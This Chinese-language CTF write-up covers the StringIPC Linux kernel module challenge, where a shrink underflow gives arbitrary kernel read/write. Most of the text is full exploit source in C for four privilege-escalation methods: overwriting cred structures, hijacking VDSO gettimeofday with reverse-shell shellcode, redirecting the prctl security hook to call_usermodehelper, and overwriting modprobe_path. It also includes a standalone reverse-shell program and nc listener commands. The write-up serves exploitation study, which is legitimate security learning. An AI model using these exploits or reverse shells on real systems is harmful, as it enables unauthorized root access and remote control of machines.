0x01查看题目
1.launch.sh。
qemu-system-x86_64 \
-m 512 \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-nographic \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
#-S
2.解包rootfs.cpio
cpio -idmv < ./rootfs.cpio
3.查看/etc/init.d/rcS 启动脚本,所以StringIPC.ko就是我们主要分析的模块
/bin/mount -a
mount -t proc none /proc
mount -t tmpfs -o size=64k,mode=0755 tmpfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
mount -t sysfs sysfs /sys
sysctl -w kernel.hotplug=/sbin/mdev
ifconfig lo 127.0.0.1 netmask 255.255.255.0
route add -net 127.0.0.0 netmask 255.255.255.0 lo
insmod StringIPC.ko
/sbin/mdev -s
echo "man, you got me" > flag
chmod 400 flag
chmod 766 /dev/csaw
nohup /sudo_timer &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
poweroff -d 0 -f
4.分析stringIPC.ko。因为有源码所以直接看源码
file_operations注册了open,release和ioctl3个操作。主要操作都在ioctl里面,将本来可以用fops实现的操作在ioctl中实现了alloc,grow,shrink,read,write,seek,close。
问题出现在realloc_ipc_channel函数中,krealloc函数如果申请0大小的块时会返回0x10表示失败,这里当成了得到的地址,并且channel->buf_size = new_size语句,buf_size为size_t类型-1表示0xffffffff ffffffff表示最大值,可以实现任意地址读写。写时使用的是strncpy_from_user,需要逐字节写入。
static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
struct ipc_channel *channel;
size_t new_size;
char *new_data;
channel = get_channel_by_id(state, id);
if ( IS_ERR(channel) )
return PTR_ERR(channel);
if ( grow )
new_size = channel->buf_size + size;
else
new_size = channel->buf_size - size;//-1 = 0x100 - 0x101
//如果new_size+1=0,krealloc会返回0x10表示分配失败
new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
if ( new_data == NULL )
return -EINVAL;
channel->data = new_data;
channel->buf_size = new_size;//new_size=-1,0xffffffff ffffffff 即可对全局进行读写
ipc_channel_put(state, channel);
return 0;
}
小结
先申请0x100的channel,再用shrink调整减小0x101大小,此时krealloc会返回0x10,buf_size为-1。造成任意地址读写
0x02 修改cred结构提升权限
可以任意地址读写,最简单的就是修改该进程或者新fork一个进程修改cred提权。问题就是如何找到cred结构体。在task_struct中保存了cred指针,同时comm中存储着程序的程序名,可以通过prctl(PR_SET_NAME,tag)来修改程序名并搜索内存中tag的位置,得到cred指针。
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
atomic_t usage;
unsigned int flags; /* per process flags, defined below */
unsigned int ptrace;
... ...
/* process credentials */
const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
/* file system info */
struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
... ...
};
task_struct应该在内核的动态分配区域。根据内存分布图,加快搜索范围加快速度。确定搜索范围为0xffff880000000000~0xffffc80000000000
0xffffffffffffffff ---+-----------+-----------------------------------------------+-------------+
| | |+++++++++++++|
8M | | unused hole |+++++++++++++|
| | |+++++++++++++|
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
1M | | |+++++++++++++|
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
548K | | vsyscalls |+++++++++++++|
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
5M | | hole |+++++++++++++|
0xffffffffff000000 ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
| | |+++++++++++++|
1520M | | module mapping space (MODULES_LEN) |+++++++++++++|
| | |+++++++++++++|
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
| | |+++++++++++++|
512M | | kernel text mapping, from phys 0 |+++++++++++++|
| | |+++++++++++++|
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
2G | | hole |+++++++++++++|
0xffffffff00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
64G | | EFI region mapping space |+++++++++++++|
0xffffffef00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
444G | | hole |+++++++++++++|
0xffffff8000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | %esp fixup stacks |+++++++++++++|
0xffffff0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
3T | | hole |+++++++++++++|
0xfffffc0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | kasan shadow memory (16TB) |+++++++++++++|
0xffffec0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffeb0000000000 ---+-----------+-----------------------------------------------| kernel space|
1T | | virtual memory map for all of struct pages |+++++++++++++|
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |------------------|+++++++++++++|
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB) |+++++++++++++|
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffc80000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
64T | | direct mapping of all phys. memory |+++++++++++++|
| | (1 << MAX_PHYSMEM_BITS) |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
| | |+++++++++++++|
8T | | guard hole, reserved for hypervisor |+++++++++++++|
| | |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
|-----------| |-------------|
|-----------| hole caused by [48:63] sign extension |-------------|
|-----------| |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
PAGE_SIZE | | guard page |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
| | | user space |
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
128T | | different per mm |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+
最后exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
//从源文件中复制
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
struct alloc_channel_args {
size_t buf_size;
int id;
};
struct open_channel_args {
int id;
};
struct grow_channel_args {
int id;
size_t size;
};
struct shrink_channel_args {
int id;
size_t size;
};
struct read_channel_args {
int id;
char *buf;
size_t count;
};
struct write_channel_args {
int id;
char *buf;
size_t count;
};
struct seek_channel_args {
int id;
loff_t index;
int whence;
};
struct close_channel_args {
int id;
};
int fd;
void initFD() {
fd = open("/dev/csaw",O_RDWR);
if (fd < 0) {
printf("[-] open file error!!");
exit(-1);
}
}
int alloc_channel(size_t size)
{
struct alloc_channel_args args;
args.buf_size=size;
args.id=-1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
if(args.id <0 )
{
printf("[*]Alloc Error\n");
exit(-1);
}
return args.id;
}
void open_channel(int id)
{
struct open_channel_args args;
args.id=id;
ioctl(fd,CSAW_OPEN_CHANNEL,&args);
}
void shrink_channel(int id,size_t size)
{
struct shrink_channel_args args;
args.id = id;
args.size = size;
ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
void read_channel(int id,char* buf,size_t count)
{
struct read_channel_args args;
args.id=id;
args.count=count;
args.buf=buf;
ioctl(fd,CSAW_READ_CHANNEL,&args);
}
void write_channel(int id,char* buf,size_t count)
{
struct write_channel_args args;
args.id=id;
args.buf=buf;
args.count=count;
ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
void seek_channel(int id,loff_t offset,int whence)
{
struct seek_channel_args args;
args.id = id;
args.index = offset;
args.whence = whence;
ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
seek_channel(id,addr-0x10,SEEK_SET);
read_channel(id,buf,count);
}
//任意地址写
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
for (int i=0;i<count;i++) {
seek_channel(id,addr+i-0x10,SEEK_SET);
write_channel(id,buf+i,1);
}
}
//1.prctl(PR_SET_NAME , target)设置程序名字方便搜索0xffff880000000000~0xffffc80000000000
//2.CSAW_SHRINK_CHANNEL 构造buf=0x10,size=0xffffffffffffffff
//3.搜索target再找到cred
//4.修改uid~fsgid为0
//5.getroot
char rootcred[28] = {0};
int main()
{
char *buf = (char *)calloc(1,0x1000);
char tag[16] = "ThisIsATagAbel";//不能写满16个字节
//strcpy(tag,"ThisIsATagAbel");
prctl(PR_SET_NAME,tag);
initFD();
//构造漏洞
int id = alloc_channel(0x100);
if(id == -1){
printf("[*]alloc error\n");
exit(-1);
}
shrink_channel(id,0x101);
size_t cred_addr = -1;
printf("[*]start searching...\n");
for(size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000)
{
arbitrary_read(id,buf,addr,0x1000);
size_t tag_ptr = memmem(buf, 0x1000,tag,16);
if (tag_ptr) {
cred_addr = *(size_t*)(tag_ptr-8);
size_t real_cred_addr = *(size_t *)(tag_ptr - 0x10);
if((cred_addr & 0xff00000000000000) && cred_addr == real_cred_addr){
printf("[*] tag_ptr: %lx\n",tag_ptr);
printf("[*]Found cred_addr:%lx\n",addr+tag_ptr-8);
printf("[*] cred_addr: %lx\n",cred_addr);
break;
}
}
}
if(cred_addr==-1){
printf("[*]Not Found cred_addr\n");
exit(-1);
}
arbitrary_write(id,rootcred,cred_addr,28);
if(getuid()==0){
printf("[*]root success\n");
system("/bin/sh");
return 0;
}else{
printf("[*]root failed\n");
return -1;
}
}
0x03 劫持VDSO
VDSO就是Virtual Dynamic Shared Object。这个.so文件不在磁盘上,而是在内核里头。内核把包含某.so的内存页在程序启动的时候映射入其内存空间,对应的程序就可以当普通的.so来使用里头的函数。VDSO所在的页,内核是RXW,用户空间是可读可执行的。如果将vdso中的函数覆盖为反弹shellcode,等待触发即可提权。crontab是带有root权限的,并且它会不断的调用vdso里的gettimeofday函数。可以通过任意地址写修改gettimeofday为我们的shellcode,反弹shell来get root shell。
现在的问题就是不知道vdso的位置在哪里?vdso的范围在0xffffffff80000000~0xffffffffffffefff。可以根据程序中的字符串为偏移确定vdso的位置。
1.获取字符串的偏移,利用任意读从内存中对应偏移位置和字符串进行比较找到vdso的位置
int get_gettimeofday_str_offset() {
//获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr){
printf("[-]error get name's offset");
return 0;
}
//仅需要搜索1页大小即可,因为vdso映射就一页0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("[-]error get name's offset");
return 0;
}
return name_addr - vdso_addr;
}
2.根据vdso,dump下vdso.so,找到gettimeoftoday函数的地址,再用任意地址写覆盖为shellcode.
int main()
{
char *buf = (char *)calloc(1,0x1000);
//用于反弹shell的shellcode,127.0.0.1:3333
char shellcode[]="\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";
initFD();
//构造漏洞
int id = alloc_channel(0x100);
if(id == -1){
printf("[*]alloc error\n");
exit(-1);
}
shrink_channel(id,0x101);
size_t vdso_addr = -1;
int gettimeofday_off = get_gettimeofday_str_offset();
printf("[*]start searching...\n");
for(size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000)
{
arbitrary_read(id,buf,addr,0x1000);
if(!strcmp(buf+gettimeofday_off,"gettimeofday")){
printf("[*]find vdso\n");
vdso_addr = addr;
printf("[*]vdso_addr:%lx\n",vdso_addr);
break;
}
}
size_t gettimeofday = vdso_addr + 0xcb0;
arbitrary_write(id,shellcode,gettimeofday,strlen(shellcode));
sleep(1);
printf("[*] open a shell\n");
system("nc -lvnp 3333");
return 0;
}
小结:当存在任意读时,可以根据字符串或者特定的asm码来确定偏移(FG_KALSR也可以这样绕过?)。类似也可以覆盖modprobe_path地址,来读取flag
0x04 劫持prctl
prctl可以操作进程和线程。prctl内部通过虚表来调用对应的功能,如果我们劫持prctl的虚表,使它指向其他对我们有帮助的内核函数,比如call_usermodehelper函数,该函数执行一个用户传入的二进制文件,且以root权限执行,由此可以利用起来提权。
为什么不能直接劫持到call_usermodehelper呢?call_usermodehelper的最关键的第一个参数是指针,而security_task_prctl为int,产生截断,4字节的空间基本为用户空间,存在smap时无法访问。
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)
{
int thisrc;
int rc = -ENOSYS;
struct security_hook_list *hp;
list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
if (thisrc != -ENOSYS) {
rc = thisrc;
if (thisrc != 0)
break;
}
}
return rc;
}
int call_usermodehelper(char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
可以使用glibc中gadget的思路,找到调用call_usermodehelper的函数,如果参数为全局变量或者可写变量,可以先覆盖全局变量,再覆盖task_prctl为该函数地址,然后触发调用。
本来想用ida pro来查看引用,但是题目自带的bzImage,没有符号。。。。。所以用了https://elixir.bootlin.com/linux/v4.4.110/A/ident/call_usermodehelper 来寻找调用,driver和fs下面的符号表可能没有导出所以cat /proc/kallsyms找不到,所以暂时先不考虑。
/arch/x86/kernel/cpu/mcheck/mce.c mce_helper和mce_helper_argv都可以进行修改。
/kernel/reboot.c run_cmd可以当成对call_usermodehelper的封装,可以继续寻找run_cmd的调用。
因为看了海哥和pandas的博客学习所以用一个和他们不一样的gadget来验证学习一下。argv[0]获取的是tomayo_loader的值,可以将tomayo_loader修改为指向/shell字符串的指针
用ida分析vmlinux,所以可以将task_prctk修改为.text:FFFFFFFF8135D475。
mov rdi, cs:qword_FFFFFFFF82363838;将tomoyo_loader的值赋给rdi,
mov [rbp-28h], rdi;将设置argv[0]=(char*)tomoyo_loader
利用任意地址写将tomaya_loader修改指向前面的8个字节,并将前8个字节修改为/shell(反弹shell的程序名)
gdb在call sub_FFFFFFFF81090A50下断点查看
exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/auxv.h>
//从源文件中复制
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
struct alloc_channel_args {
size_t buf_size;
int id;
};
struct open_channel_args {
int id;
};
struct grow_channel_args {
int id;
size_t size;
};
struct shrink_channel_args {
int id;
size_t size;
};
struct read_channel_args {
int id;
char *buf;
size_t count;
};
struct write_channel_args {
int id;
char *buf;
size_t count;
};
struct seek_channel_args {
int id;
loff_t index;
int whence;
};
struct close_channel_args {
int id;
};
int fd;
void initFD() {
fd = open("/dev/csaw",O_RDWR);
if (fd < 0) {
printf("[-] open file error!!");
exit(-1);
}
}
int alloc_channel(size_t size)
{
struct alloc_channel_args args;
args.buf_size=size;
args.id=-1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
if(args.id <0 )
{
printf("[*]Alloc Error\n");
exit(-1);
}
return args.id;
}
void open_channel(int id)
{
struct open_channel_args args;
args.id=id;
ioctl(fd,CSAW_OPEN_CHANNEL,&args);
}
void shrink_channel(int id,size_t size)
{
struct shrink_channel_args args;
args.id = id;
args.size = size;
ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
void read_channel(int id,char* buf,size_t count)
{
struct read_channel_args args;
args.id=id;
args.count=count;
args.buf=buf;
ioctl(fd,CSAW_READ_CHANNEL,&args);
}
void write_channel(int id,char* buf,size_t count)
{
struct write_channel_args args;
args.id=id;
args.buf=buf;
args.count=count;
ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
void seek_channel(int id,loff_t offset,int whence)
{
struct seek_channel_args args;
args.id = id;
args.index = offset;
args.whence = whence;
ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
seek_channel(id,addr-0x10,SEEK_SET);
read_channel(id,buf,count);
}
//任意地址写
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
for (int i=0;i<count;i++) {
seek_channel(id,addr+i-0x10,SEEK_SET);
write_channel(id,buf+i,1);
}
}
int get_gettimeofday_str_offset() {
//获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr){
printf("[-]error get name's offset");
return 0;
}
//仅需要搜索1页大小即可,因为vdso映射就一页0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("[-]error get name's offset");
return 0;
}
return name_addr - vdso_addr;
}
#define fakefunc 0x35d475;
#define fakestr 0x1363838;
#define TASK_PRCTL 0xeb8118;
int main()
{
char *buf = (char *)calloc(1,0x1000);
initFD();
//构造漏洞
int id = alloc_channel(0x100);
if(id == -1){
printf("[*]alloc error\n");
exit(-1);
}
shrink_channel(id,0x101);
size_t vdso_addr = -1;
int gettimeofday_off = get_gettimeofday_str_offset();
printf("[*]start searching...\n");
for(size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000)
{
arbitrary_read(id,buf,addr,0x1000);
if(!strcmp(buf+gettimeofday_off,"gettimeofday")){
printf("[*]find vdso\n");
vdso_addr = addr;
printf("[*]vdso_addr:%lx\n",vdso_addr);
break;
}
}
size_t kernel_base = vdso_addr & 0xffffffffff000000;
//size_t kernel_base = 0xffffffff81000000;
size_t task_prctl_addr = kernel_base+TASK_PRCTL;
size_t fake_str_addr = kernel_base+fakestr;//0xFFFFFFFF82363838
size_t fake_func_addr = kernel_base + fakefunc;
size_t fake_str_addr_ = fake_str_addr-0x8;
printf("[*]kernel_base:%lx\n",kernel_base);
printf("[*]task_prctl:%lx\n",task_prctl_addr);
printf("[*]fake_str_addr:%lx\n",fake_str_addr);
printf("[*]fake_func_addr:%lx\n",fake_func_addr);
char reverse_command[] = "/shell\x00";
arbitrary_write(id,reverse_command,fake_str_addr_,strlen(reverse_command));//修改字符串
arbitrary_write(id,&fake_str_addr_,fake_str_addr,8);//修改指针
printf("modify fake_str_addr\n");
arbitrary_write(id,&fake_func_addr,task_prctl_addr,8);
printf("modify fake_func_addr\n");
if (fork()==0){ //fork一个子进程,来触发shell的反弹
prctl(0,0);
exit(-1);
}else{
printf("[+]open a shell\n");
system("nc -lvnp 7777");
}
return 0;
}
反弹shell
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include <fcntl.h>
#include <unistd.h>
char server_ip[]="127.0.0.1";
uint32_t server_port=7777;
int main()
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
while(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
system("/bin/sh");
}
小结:
1.通过vdso地址确定Linux kernel基址
2.找到可以调用call_usermodehelper并且第一个参数能够修改的调用
3.修改task_prctl为该调用地址,修改参数为反弹shell绝对地址
4.触发task_prctl
0x05 劫持modprobe_path
当内核运行未知格式的程序时,内核会运行modprobe_path保存的程序路径。如果我们能够修改为我们的程序就能达到提权的目的。
查看modprobe_path偏移,gdb查看保存的字符串,默认的处理程序是/sbin/modprobe
创建未知文件,并且添加执行权限
echo -ne '\xff\xff\xff\xff' > 123
chmod +x 123
exp流程
1.获取linux kernel基址
2.覆盖modprobe_path为/reverse_shell
3.执行/123触发modprobe
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/auxv.h>
//从源文件中复制
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
struct alloc_channel_args {
size_t buf_size;
int id;
};
struct open_channel_args {
int id;
};
struct grow_channel_args {
int id;
size_t size;
};
struct shrink_channel_args {
int id;
size_t size;
};
struct read_channel_args {
int id;
char *buf;
size_t count;
};
struct write_channel_args {
int id;
char *buf;
size_t count;
};
struct seek_channel_args {
int id;
loff_t index;
int whence;
};
struct close_channel_args {
int id;
};
int fd;
void initFD() {
fd = open("/dev/csaw",O_RDWR);
if (fd < 0) {
printf("[-] open file error!!");
exit(-1);
}
}
int alloc_channel(size_t size)
{
struct alloc_channel_args args;
args.buf_size=size;
args.id=-1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
if(args.id <0 )
{
printf("[*]Alloc Error\n");
exit(-1);
}
return args.id;
}
void open_channel(int id)
{
struct open_channel_args args;
args.id=id;
ioctl(fd,CSAW_OPEN_CHANNEL,&args);
}
void shrink_channel(int id,size_t size)
{
struct shrink_channel_args args;
args.id = id;
args.size = size;
ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
void read_channel(int id,char* buf,size_t count)
{
struct read_channel_args args;
args.id=id;
args.count=count;
args.buf=buf;
ioctl(fd,CSAW_READ_CHANNEL,&args);
}
void write_channel(int id,char* buf,size_t count)
{
struct write_channel_args args;
args.id=id;
args.buf=buf;
args.count=count;
ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
void seek_channel(int id,loff_t offset,int whence)
{
struct seek_channel_args args;
args.id = id;
args.index = offset;
args.whence = whence;
ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
seek_channel(id,addr-0x10,SEEK_SET);
read_channel(id,buf,count);
}
//任意地址写
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
for (int i=0;i<count;i++) {
seek_channel(id,addr+i-0x10,SEEK_SET);
write_channel(id,buf+i,1);
}
}
int get_gettimeofday_str_offset() {
//获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr){
printf("[-]error get name's offset");
return 0;
}
//仅需要搜索1页大小即可,因为vdso映射就一页0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("[-]error get name's offset");
return 0;
}
return name_addr - vdso_addr;
}
#define MODPROBE_PATH 0xe4c800;
int main()
{
char *buf = (char *)calloc(1,0x1000);
initFD();
//构造漏洞
int id = alloc_channel(0x100);
if(id == -1){
printf("[*]alloc error\n");
exit(-1);
}
shrink_channel(id,0x101);
size_t vdso_addr = -1;
int gettimeofday_off = get_gettimeofday_str_offset();
printf("[*]start searching...\n");
for(size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000)
{
arbitrary_read(id,buf,addr,0x1000);
if(!strcmp(buf+gettimeofday_off,"gettimeofday")){
printf("[*]find vdso\n");
vdso_addr = addr;
printf("[*]vdso_addr:%lx\n",vdso_addr);
break;
}
}
size_t kernel_base = vdso_addr & 0xffffffffff000000;
size_t modprobe_path_addr = kernel_base+MODPROBE_PATH;
printf("[*]kernel_base:%lx\n",kernel_base);
printf("[*]modprobe_path_addr:%lx\n",modprobe_path_addr);
char reverse_command[] = "/reverse_shell";
arbitrary_write(id,reverse_command,modprobe_path_addr,strlen(reverse_command));//修改字符串
printf("[*]modify modprobe_path\n");
if (fork()==0){ //fork一个子进程,来触发shell的反弹
system("/123");
exit(-1);
}else{
printf("[+]open a shell\n");
system("nc -lvnp 7777");
}
return 0;
}
0x06 总结
1.任意地址读,可以通过特征字符串来确定内核基址,通过映射范围来减少搜索范围。
2.任意地址写,主要针对重要结构体,cred、prctl、tty、modprobe_path。最好是能够主动触发或者被动触发。
参考链接:
http://p4nda.top/2018/11/07/stringipc
https://blog.csdn.net/seaaseesa/article/details/104692375